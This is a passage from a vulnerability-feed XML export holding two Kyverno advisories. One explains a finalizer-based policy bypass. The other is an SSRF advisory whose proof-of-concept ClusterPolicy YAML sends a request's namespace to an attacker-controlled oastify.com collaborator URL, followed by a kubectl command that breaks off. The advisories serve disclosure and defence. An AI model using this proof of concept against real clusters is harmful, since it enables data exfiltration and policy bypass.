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  <updated>2026-10-05T08:19:07.805444+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
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  <entry>
    <id>https://cve.radiocsirt.org/vuln/cve-2023-34091</id>
    <title>CVE-2023-34091 — Kyverno resource with a deletionTimestamp may allow policy circumvention</title>
    <updated>2026-10-05T08:19:07.994804+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> kyverno</p>
<p>Kyverno is a policy engine designed for Kubernetes. In versions of Kyverno prior to 1.10.0, resources which have the `deletionTimestamp` field defined can bypass validate, generate, or mutate-existing policies, even in cases where the `validationFailureAction` field is set to `Enforce`. This situation occurs as resources pending deletion were being consciously exempted by Kyverno, as a way to reduce processing load as policies are typically not applied to objects which are being deleted. However, this could potentially result in allowing a malicious user to leverage the Kubernetes finalizers feature by setting a finalizer which causes the Kubernetes API server to set the `deletionTimestamp` and then not completing the delete operation as a way to explicitly to bypass a Kyverno policy. Note that this is not applicable to Kubernetes Pods but, as an example, a Kubernetes Service resource can be manipulated using an indefinite finalizer to bypass policies. This is resolved in Kyverno 1.10.0. There is no known workaround.</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/cve-2023-34091"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-459x-q9hg-4gpq</id>
    <title>GHSA-459x-q9hg-4gpq — Kyverno vulnerable to SSRF via Service Calls</title>
    <updated>2026-10-05T08:19:07.994893+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Go: github.com/kyverno/kyverno</p>
<p>### Summary
An attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data.</p>
<p>### Details
According to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the Kubernetes cluster.</p>
<p>https://kyverno.io/docs/writing-policies/external-data-sources/#variables-from-service-calls</p>
<p>### PoC
Create a slightly modified Cluster Policy from the documentation. In the url we specify the address of a server controlled by the attacker, for example Burp Collaborator.
```yaml
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: check-namespaces      
spec:
  rules:
  - name: call-extension
    match:
      any:
      - resources:
          kinds:
          - ConfigMap
    context:
    - name: result
      apiCall:
        method: POST
        data:
        - key: namespace
          value: "{{request.namespace}}"
        service:
          url: http://bo3gyn4qwyjnrx87fjnrsd4p7gd71xpm.oastify.com/payload          
    validate:
      message: "namespace {{request.namespace}} is not allowed"
      deny:
        conditions:
          all:
          - key: "{{ result.allowed }}"
            operator: Equals
            value: false
```
Now let's create some configmap:
```bash
kubectl create configmap special-config --from-li…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-459x-q9hg-4gpq"/>
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